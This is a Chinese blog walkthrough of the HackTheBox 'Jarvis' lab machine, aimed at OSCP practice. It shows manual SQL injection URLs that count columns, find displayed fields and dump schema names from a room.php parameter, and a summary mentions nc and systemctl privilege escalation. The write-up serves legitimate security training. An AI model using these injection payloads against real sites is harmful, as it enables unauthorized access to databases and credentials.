hackthebox- Jarvis（考点：sql注入/mysql/systemct提权）不用sqlmap

最新推荐文章于 2024-07-15 11:11:09 发布

冬萍子

最新推荐文章于 2024-07-15 11:11:09 发布

阅读量547

点赞数 1

本文链接：https://blog.csdn.net/weixin_45527786/article/details/105521501

版权

本文介绍了在HackTheBox-Jarvis靶机上，不使用sqlmap而是通过手工SQL注入获取信息，并利用文件包含漏洞进一步提权的过程。首先，通过order by检测和手工注入获取账号密码，然后通过CMD shell进行操作。其次，利用文件包含漏洞寻找数据库配置文件，最终通过nc将信息传送到本地并使用systemctl进行提权。

摘要由CSDN通过智能技术生成

此靶机以及带注入的靶机，大多数人用的sqlmap。针对oscp，本文章未用sqlmap。
其实现实场景中用sqlmap的也不多，会封IP的，不会让你扫来扫去。
所以学习手工注入也很必要。
注入也不一定仅仅是注入，在手工注入里也可以利用文件包含漏洞。

nmap

在这里插入图片描述
很常规，一开始又没ssh密码，当然是从80网页开始搜集信息。以及dirbuster扫它
发现phpadmin，但是没密码，继续看80

发现换不同的房间，网址里的序号就变了一个。
像这种改一个展示的东西，网址里的数字序号就变了一个，这个就很可能存在sql注入。注入的知识，网上太多啦。。。

第一种方法，完整的手工注入全程：

先order by看，然后发现7，接着找显示位，再依次找库，库里找表，表里找柱，最后得到账号和密码

http://10.10.10.143/room.php?cod=1 order by 7
http://10.10.10.143/room.php?cod=1 order by 8
http://10.10.10.143/room.php?cod=-1 union all select 1,2,3,4,5,6,7
http://10.10.10.143/room.php?cod=-1 union all select 1,group_concat(schema_name),3,4,5,6,7